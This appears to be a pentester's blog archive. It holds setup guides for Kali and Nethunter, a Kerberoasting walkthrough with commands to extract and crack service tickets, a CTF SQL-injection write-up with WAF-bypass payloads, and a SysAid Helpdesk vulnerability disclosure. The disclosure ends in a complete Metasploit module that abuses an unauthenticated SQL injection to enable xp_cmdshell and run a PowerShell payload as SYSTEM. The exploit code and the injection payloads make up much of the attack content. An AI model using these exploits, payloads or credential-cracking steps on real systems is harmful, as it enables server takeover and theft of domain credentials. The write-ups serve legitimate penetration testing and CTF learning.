Installing ASUS AWUS036NHA on Windows 10

Due to shoddy WiFi in my office I had to setup my computer with another adapter to try to get some better signal.

If you are on Windows 10, going to "Device management" and clicking "Update driver" is all it takes to get the drivers for this adapter.

Just like this blog post from Alfa Networks says:
http://alfanetworkinc.blogspot.dk/2015/08/blog-post.html

Springtime Kerberoasting

After getting some motivation from recent talks I attended I have decided to do some Kerberoasting in our Windows domain.

There are lots of excellent articles out there such as Harmj0y’s article. In there you can find a bunch of references to other good and original articles on the subject.
The reason I’m writing this blog post is that there are lots of tools out there and some require specific versions of John the Ripper and so on so I decided to document one path that I have taken here.

First, on a domain joined Windows computer run the following script by Harmj0y:
https://gist.github.com/HarmJ0y/53a837fce877e32e18d78acbb08c8fe9

powershell -exec bypass

# Load the script
. ./Invoke-Kerberoast.ps1

# Do a test run to see 
# that it's working
Invoke-Kerberoast | fl 

# Get the tickets in John
# format and convert to CSV format
Invoke-Kerberoast -AdminCount -OutputFormat john | ConvertTo-Csv -NoTypeInformation | out-file kerbe
roasts.csv

The next step is to start cracking the tickets in Kirbi format that we obtained. We can use either John The Ripper or Hashcat. I decided on Hashcat as this can make use of the GPU with oclHashcat.

hashcat -a3 -m 13100 service_tickets_hashcat.txt rockyou.txt
hashcat -a3 -m 13100 service_tickets_hashcat.txt --show

Another option for doing this on a red team engagement is to use Powershell Empire’s module for it powershell/credentials/invoke-kerberoast.

Other tools and resources

https://github.com/nidem/kerberoast
https://room362.com/post/2016/kerberoast-pt1/
http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/

Simplesqlin

The server runs openresty/1.11.2.2 according to the response headers.

Injection point is here:
http://202.120.7.203/index.php?id=1*

We can add or subtract or multiply numbers..

http://202.120.7.203/index.php?id=2-1
http://202.120.7.203/index.php?id=2%2b1
http://202.120.7.203/index.php?id=2*1

By doing order by we find the column number, which is 3. order by 4 gives a 500 error:

http://202.120.7.203/index.php?id=1%20order%20by%203--+

Anything else so far results in 500 errors.
There is a WAF blocking certain keywords. List of blocked keywords:
* SELECT
* FROM
* WHERE
* SLEEP

We can bypass the WAF by inserting a control character inside the keywords. Here we used %0b which is vertical tabulation.

http://202.120.7.203/index.php?id=2 uni%0bon+se%0blect 1,"a",3 order by 1--+

Other control characters that work in this case are:
* %0c
* %0E
* %0F
* %10 - %1f

So the WAF is relatively easily bypassed.

Now we need to find the table in which the flag is stored. Because I suck at remembering Mysql special tables and such I used a resource like this:

MySQL Injection Cheat Sheet

Then we do a query like this:

http://202.120.7.203/index.php?id=2 uni%0bon+se%1flect table_schema,table_name,1 FR%0bOM information_schema.tables WHE%0bRE table_schema != 'mysql' AND table_schema != 'information_schema' order by 3--+

To find that there is a table called flag, duh.

And we can also get the column name in a similar fashion:

http://202.120.7.203/index.php?id=2 uni%0bon+se%1flect table_schema,table_name,column_name FR%0bOM information_schema.columns WHE%0bRE table_schema != 'mysql' AND table_schema != 'information_schema' order by 3 LIMIT 1 OFFSET 1--+

And then finally we can get the flag by doing this query:

http://202.120.7.203/index.php?id=2 uni%0bon+se%1flect flag,1,2 FR%0bOM flag order by 3--+

flag{W4f_bY_paSS_f0R_CI}

Blogging via Stackedit

How to

Add this to the top of the document:

---
layout: post
title: Blogging via Stackedit
tags: stackedit, reallycoolstuff, ingenious
---

Settings

Choose format to be HTML

Test

This is just a test to try out blogging in Markdown via Stackedit!
Let’s try some code:

def test():
    for x in range(1000):
        print x 

Written with StackEdit.

Installing Kali Linux Nethunter on Nexus 7 (2013 Wifi)

To install Nethunter on the Nexus 7 (Wifi 2013) edition we first need to unlock the bootloader of the device and root it. There are many guides on the Internet on how to do this, but the best source I have found so far is the Offensive Secuirty Github repository: https://github.com/offensive-security/nethunter-LRT.

This repository contains a collection of scripts that help you install Kali Linux Nethunter on either a Nexus or OnePlusOne device. Their instructions are straightforward and their scripts are close to fully automated and work very well. It does require that you download a few things before using the scripts, but there are links that help you along.
The major advantage of these scripts over some other tools that I found is that they can run from Linux or OS X. First we must install Android Studio (or just binaries) to get ADB and fastboot. Next we must download and place the following into their respective folders in the cloned repo:

• Stock Android image 
• https://developers.google.com/android/images?hl=en#razor
• Team Win Root Project (TWRP)
• https://dl.twrp.me/flo/
• SuperSU binary by ChainFire
• http://download.chainfire.eu/752/SuperSU/BETA-SuperSU-v2.65-20151226141550.zip (this is the most shady part. I chose this as it was the only one that worker at the time)
• Kali Nethunter image
• https://www.offensive-security.com/kali-linux-nethunter-download/

Once these are in place we can go ahead and unlock the bootloader if it isn't already unlocked. Just run the script ./oemUnlock.sh.

Next we flash the stock Android image to have a clean device to install to. After installing, booting, setting up the device (manually),  we can run the script that installs the Custom Recovery from TWRP, sets up the SuperSU binary to maintain root and installs Kali Linux Nethunter. 

The last step requires us to select some things we want included in Kali Linux Nethunter, and then the intallation proceeds.

If everything was successful we will have a working Nethunter device and we can go hack. Happy hacking. 

Installing Kali Linux on Debian in DigitalOcean

DigitalOcean is a nice and relatively cheap way to run virtual machines in the cloud. As a pentester I like to use Kali Linux which comes with a great number of useful tools. The problem is that DigitalOcean does not have a Kali Linux droplet or a way of installing custom images, at least not to my knowledge. But since Kali Linux is based on Debian let's go ahead and try installing Kali Linux packages on top of the latest Debian image available from DigitalOcean.

We start by creating a droplet, I used the Debian 8.7 x64 distribution and if you are gonna run Kali Linux you should probably go with at least size number 2 which has 1gb of RAM at 10$/month.

Add an SSH key to the droplet, spin it up and login to the box.

Let's find the sources for the Kali Linux packages from here:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories

I wanna use the latest Rolling distribution that gets updates continuously so I'll use:

deb http://http.kali.org/kali kali-rolling main contrib non-free

We add this to the /etc/apt/sources.list file on the system.

root@mybox:~# echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list

cat /etc/apt/sources.list
...

# jessie-updates, previously known as 'volatile'
deb http://mirrors.digitalocean.com/debian jessie-updates main
deb-src http://mirrors.digitalocean.com/debian jessie-updates main
deb http://http.kali.org/kali kali-rolling main contrib non-free

Next we need to import the GPG key for the sources so that we can verify the packages. I looked up the key from an existing Kali Linux installation:

root@aKaliBoxIhad:~# apt-key list --with-fingerprint
...
/etc/apt/trusted.gpg.d/kali-archive-keyring.gpg

-----------------------------------------------

pub   rsa4096 2012-03-05 [SC] [expires: 2018-02-02]

      44C6 513A 8E4F B3D3 0875  F758 ED44 4FF0 7D8D 0BF6

uid           [ unknown] Kali Linux Repository <devel@kali.org>

sub   rsa4096 2012-03-05 [E] [expires: 2018-02-02]

Next we add the key to the keychain by looking it up from keys.gnupg.net. Note: Do not use the short fingerprint!

root@mybox:~# apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys ED444FF07D8D0BF6
Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --homedir /tmp/tmp.T551SpCEIH --no-auto-check-trustdb --trust-model always --primary-keyring /etc/apt/trusted.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-squeeze-automatic.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-squeeze-stable.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg --keyring /etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
gpg: requesting key 7D8D0BF6 from hkp server keys.gnupg.net
gpg: key 7D8D0BF6: public key "Kali Linux Repository " imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

Now update the packages and let's look at which Kali Linux packages we can install:

root@mybox:~# apt-get update && apt-get upgrade

All the Kali Linux meta packages are listed here:

https://www.kali.org/news/kali-linux-metapackages/

So for instance to install the top 10 tools of Kali Linux, we do:

root@mybox:~# apt-get install kali-linux-top10

Now we will have for among other tools,  Metasploit, installed on the server. Let's start it up

root@mybox:~# /etc/init.d/postgresql start

root@mybox:~# msfdb init

root@mybox:~# msfconsole


                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.13.14-dev                         ]
+ -- --=[ 1613 exploits - 915 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Now we can get hacking :D

Unauthenticated SQL Injection in Sysaid Helpdesk Free v.14.4.32. b25

Discovered: June 2015

This is a flaw that I came across at a pentest for a client, the flaw ended up giving us enterprise admin access which isn’t too bad.

This issue is fixed in later versions and it seems that Sysaid have become aware of the issue on their own. This writeup is mostly for my own reference and everybody out there doing penetration testing encountering old versions of the software inside company networks.

The product

https://www.sysaid.com/

This is helpdesk software made ofr for managing company support cases, providing remote support, and a bunch of other stuff. This software’s database can contain domain credentials that are encrypted using a hardcoded secret as mentioned in the referenced CVEs. This makes it a high-value target that can give access to a large number of credentials and highly privileged accounts. The vulnerability will give facilitate remote code execution on the server as the SYSTEM user if the default configuration is in use.

The vulnerability

Sysaid is vulnerable to SQL injection at the following url:

http://sysaidserver:8080/api/v1/menu/menu_items?menu=main'WAITFOR+DELAY'0%3a0%3a10'--&all_tree=true

This makes it possible to dump the entire database using for instance SQLMap. To exploit the vulnerability successfully, SQLMap must be provided with a valid JSESSIONID cookie that will be set by the server upon first visit to the site.

The following SQLMap command will detect and be able to exploit the injection vulnerability to return the user that the database commands are executed as:

sqlmap -u http://sysaidserver:8080/api/v1/menu/menu_items?menu=main*&all_tree=true --cookie="JSESSIONID=xxx" --current-user 

The database is by default running as SA and can therefore activate xp_cmdshell to run operating system commands with the privileges of the user the database is running as. By default this user is the SYSTEM user on Windows.

Also the default “SA” user’s password is “Password1” which can be found in cleartext in the configuration files (CVE-2015-3001)

Previous Vulnerabilities in Sysaid Software

• SysAid Server Arbitrary File Disclosure (2014-12-23)
• Ilient SysAid 8.5.5 Multiple Cross Site Scripting and HTML Injection Vulnerabilities (2012-03-08)
• Authenticated Blind SQL injection (2012-11-30)
• CVE-2015-2993, CVE-2015-2994, CVE-2015-2995, CVE-2015-2996, CVE-2015-2997, CVE-2015-2998,CVE-2015-2999,CVE-2015-3000,CVE-2015-3001, CVE-2014-9436, CVE-2008-2179, CVE-2007-5259

Metasploit module

I wrote my first “real” Metasploit module to have a simple way to exploit this. As I have little to no experience with writing Metasploit modules and I’m not fluent in Ruby, it is a bit of a hack. But it should work and I hope someone can make use of it, I know I will the next time I encounter one of these installations..

Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'
require 'msf/core/exploit/mssql_commands'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient



  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sysaid Helpdesk Software Unauthenticated SQLi",
      'Description'    => %q{
        This module exploits an unauthenticated SQLi vulnerability in the Sysaid 
        Helpdesk Free software. Because the "menu" parameter is not handled correctly,
        a malicious user can manipulate the SQL query, and allows
        arbitrary code execution under the context of 'SYSTEM' because the database
        runs as the SA user. This module uses a Metasploit generated Powershell payload and 
    uses xp_cmdshell, which is activated and then deactivated after exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Hland', 
        ],
      'References'     =>
        [
          ['CVE', 'xxxx'],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Sysaid Helpdesk <= v14.4.32 b25', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 29 2015",
      'DefaultTarget'  => 0,

))

      register_options(
        [
          OptPort.new('RPORT',     [true, "The web application's port", 8080]),
          OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
        ], self.class)
  end

  def check

    peer = "#{rhost}:#{rport}"
    uri = target_uri.path
    uri = normalize_uri(uri,"Login.jsp")

    print_status("#{peer} - Checking for vulnerability")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => uri,
      'vars_get' => {
      }
    })

    v = res.body.scan(/\<title\>SysAid Help Desk Software\<\/title\>/)
    if not v
        vprint_error("Is this even a Sysaid Help Desk?")
        return Exploit::CheckCode::Safe
    else
        vprint_status("Identified system as Sysaid Help Desk")
    return Exploit::CheckCode::Appears

    end

    return Exploit::CheckCode::Unknown

  end

  def mssql_xpcmdshell(cmd,doprint=false,opts={})
    force_enable = false
    begin
      res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
      #mssql_print_reply(res) if doprint

      return res

    rescue RuntimeError => e
      if(e.to_s =~ /xp_cmdshell disabled/)
        force_enable = true
        retry
      end
      raise e
    end
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    uri = target_uri.path

    vprint_line("#{peer} - Getting a session token...")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, "Login.jsp"),
      'vars_get' => {
      }
    })

    vprint_line("#{peer} - Cookie's in the jar...")

    # Got a cookie, now ready to make exploiting requests
    if res && res.code == 200
        #vprint_line("#{res.headers}")
        cookies = res.get_cookies
        #vprint_line("#{cmd_psh_payload(payload.encoded, payload_instance.arch.first)}")
    else
        vprint_line("No 200 response? I'm outta here")
        return

    end

    # Put together the vulnerable URI
    uri = normalize_uri(uri,"api","v1","menu","menu_items")

    # Generate powershell payload as an encoded string
    powershell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:encode_final_payload => true, :remove_comspec => true})



    #
    # Inject payload and wait for shell
    #
    print_status("#{peer} - Trying to activate xp_cmdshell and exploit vulnerability")

    sqli = "main';exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC master..xp_cmdshell '#{powershell_payload}';--"
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => uri,
      'cookie'    => cookies,
      'vars_get' => {
        'menu' => sqli,
      }
    })


    # Deactivate XPCmdShell
    sqli = "main';exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;--"
    print_status("#{peer} - Deactivating xp_cmdshell to clean up after ourselves..")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => uri,
      'cookie'    => cookies,
      'vars_get' => {
        'menu' => sqli,
      }
    })

  end
end